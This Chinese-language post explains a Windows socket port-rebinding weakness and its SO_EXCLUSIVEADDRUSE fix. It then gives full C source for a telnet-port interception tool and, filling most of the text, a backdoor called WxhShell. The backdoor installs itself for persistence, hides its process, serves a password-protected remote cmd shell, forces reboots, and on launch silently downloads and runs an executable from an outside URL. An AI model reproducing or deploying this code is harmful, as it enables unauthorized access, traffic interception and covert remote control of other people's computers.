在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
这意味着什么?意味着可以进行如下的攻击:
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
#include
#include
#include
#include
DWORD WINAPI ClientThread(LPVOID lpParam);
int main()
{
WORD wVersionRequested;
DWORD ret;
WSADATA wsaData;
BOOL val;
SOCKADDR_IN saddr;
SOCKADDR_IN scaddr;
int err;
SOCKET s;
SOCKET sc;
int caddsize;
HANDLE mt;
DWORD tid;
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("error!WSAStartup failed!\n");
return -1;
}
saddr.sin_family = AF_INET;
//截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = TRUE;
//SO_REUSEADDR选项就是可以实现端口重绑定的
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
{
printf("error!setsockopt failed!\n");
return -1;
}
//如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{
ret=GetLastError();
printf("error!bind failed!\n");
return -1;
}
listen(s,2);
while(1)
{
caddsize = sizeof(scaddr);
//接受连接请求
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
if(sc!=INVALID_SOCKET)
{
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
if(mt==NULL)
{
printf("Thread Creat Failed!\n");
break;
}
}
CloseHandle(mt);
}
closesocket(s);
WSACleanup();
return 0;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET ss = (SOCKET)lpParam;
SOCKET sc;
unsigned char buf[4096];
SOCKADDR_IN saddr;
long num;
DWORD val;
DWORD ret;
//如果是隐藏端口应用的话,可以在此处加一些判断
//如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
saddr.sin_family = AF_INET;
saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
saddr.sin_port = htons(23);
if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{
printf("error!socket failed!\n");
return -1;
}
val = 100;
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{
ret = GetLastError();
return -1;
}
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
{
printf("error!socket connect failed!\n");
closesocket(sc);
closesocket(ss);
return -1;
}
while(1)
{
//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
//如果是嗅探内容的话,可以再此处进行内容分析和记录
//如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
num = recv(ss,buf,4096,0);
if(num>0)
send(sc,buf,num,0);
else if(num==0)
break;
num = recv(sc,buf,4096,0);
if(num>0)
send(ss,buf,num,0);
else if(num==0)
break;
}
closesocket(ss);
closesocket(sc);
return 0 ;
}
==========================================================
下边附上一个代码,,WXhSHELL
==========================================================
#include "stdafx.h"
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>
#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")
#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer
#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机
#define DEF_PORT 5000 // 监听端口
#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度
// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名
};
// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};
// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";
char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";
char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;
// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );
// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};
// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);
// 如果是win9x系统,修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {
// 如果是NT以上系统,安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}
return 1;
}
// 自我卸载
int Uninstall(void)
{
HKEY key;
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}
return 1;
}
// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];
strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}
GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;
}
// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}
return 1;
}
// win9x进程隐藏模块
void HideProc(void)
{
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}
return;
}
// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}
// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;
while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
return 0;
}
// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}
// 客户端请求句柄
void TalkWithClient(void *cs)
{
SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;
while (nUser < MAX_USER) {
if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {
// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd[i]=chr[0];
if(chr[0]==0xd || chr[0]==0xa) {
pwd[i]=0;
break;
}
i++;
}
// 如果是非法用户,关闭 socket
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
while(1) {
ZeroMemory(cmd,KEY_BUFF);
// 自动支持客户端 telnet标准
j=0;
while(j<KEY_BUFF) {
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
cmd[j]=chr[0];
if(chr[0]==0xa || chr[0]==0xd) {
cmd[j]=0;
break;
}
j++;
}
// 下载文件
if(strstr(cmd,"http://")) {
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
if(DownloadFile(cmd,wsh))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
}
else {
switch(cmd[0]) {
// 帮助
case '?': {
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
break;
}
// 安装
case 'i': {
if(Install())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 卸载
case 'r': {
if(Uninstall())
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
break;
}
// 显示 wxhshell 所在路径
case 'p': {
char svExeFile[MAX_PATH];
strcpy(svExeFile,"\n\r");
strcat(svExeFile,ExeFile);
send(wsh,svExeFile,strlen(svExeFile),0);
break;
}
// 重启
case 'b': {
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
if(Boot(REBOOT))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 关机
case 'd': {
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);
if(Boot(SHUTDOWN))
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
else {
closesocket(wsh);
ExitThread(0);
}
break;
}
// 获取shell
case 's': {
CmdShell(wsh);
closesocket(wsh);
ExitThread(0);
break;
}
// 退出
case 'x': {
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);
CloseIt(wsh);
break;
}
// 离开
case 'q': {
send(wsh,msg_ws_end,strlen(msg_ws_end),0);
closesocket(wsh);
WSACleanup();
exit(1);
break;
}
}
}
// 提示信息
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
}
}
return;
}
// shell模块句柄
int CmdShell(SOCKET sock)
{
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
PROCESS_INFORMATION ProcessInfo;
char cmdline[]="cmd";
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
return 0;
}
// 自身启动模式
int StartFromService(void)
{
typedef struct
{
DWORD ExitStatus;
DWORD PebBaseAddress;
DWORD AffinityMask;
DWORD BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;
PROCNTQSIP NtQueryInformationProcess;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
HANDLE hProcess;
PROCESS_BASIC_INFORMATION pbi;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
if(NULL == hInst ) return 0;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
if (!NtQueryInformationProcess) return 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());
if(!hProcess) return 0;
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
CloseHandle(hProcess);
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
if(hProcess==NULL) return 0;
HMODULE hMod;
char procName[255];
unsigned long cbNeeded;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));
CloseHandle(hProcess);
if(strstr(procName,"services")) return 1; // 以服务启动
return 0; // 注册表启动
}
// 主模块
int StartWxhshell(LPSTR lpCmdLine)
{
SOCKET wsl;
BOOL val=TRUE;
int port=0;
struct sockaddr_in door;
if(wscfg.ws_autoins) Install();
port=atoi(lpCmdLine);
if(port<=0) port=wscfg.ws_port;
WSADATA data;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
door.sin_family = AF_INET;
door.sin_addr.s_addr = inet_addr("127.0.0.1");
door.sin_port = htons(port);
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
if(listen(wsl,2) == INVALID_SOCKET) {
closesocket(wsl);
return 1;
}
Wxhshell(wsl);
WSACleanup();
return 0;
}
// 以NT服务方式启动
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
{
DWORD status = 0;
DWORD specificError = 0xfffffff;
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwServiceSpecificExitCode = 0;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
if (hServiceStatusHandle==0) return;
status = GetLastError();
if (status!=NO_ERROR)
{
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatus.dwWin32ExitCode = status;
serviceStatus.dwServiceSpecificExitCode = specificError;
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
return;
}
serviceStatus.dwCurrentState = SERVICE_RUNNING;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
}
// 处理NT服务事件,比如:启动、停止
VOID WINAPI NTServiceHandler(DWORD fdwControl)
{
switch(fdwControl)
{
case SERVICE_CONTROL_STOP:
serviceStatus.dwWin32ExitCode = 0;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
{
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
return;
case SERVICE_CONTROL_PAUSE:
serviceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
serviceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
};
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
}
// 标准应用程序主函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
{
// 获取操作系统版本
OsIsNt=GetOsVer();
GetModuleFileName(NULL,ExeFile,MAX_PATH);
// 从命令行安装
if(strpbrk(lpCmdLine,"iI")) Install();
// 下载执行文件
if(wscfg.ws_downexe) {
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
WinExec(wscfg.ws_filenam,SW_HIDE);
}
if(!OsIsNt) {
// 如果时win9x,隐藏进程并且设置为注册表启动
HideProc();
StartWxhshell(lpCmdLine);
}
else
if(StartFromService())
// 以服务方式启动
StartServiceCtrlDispatcher(DispatchTable);
else
// 普通方式启动
StartWxhshell(lpCmdLine);
return 0;
}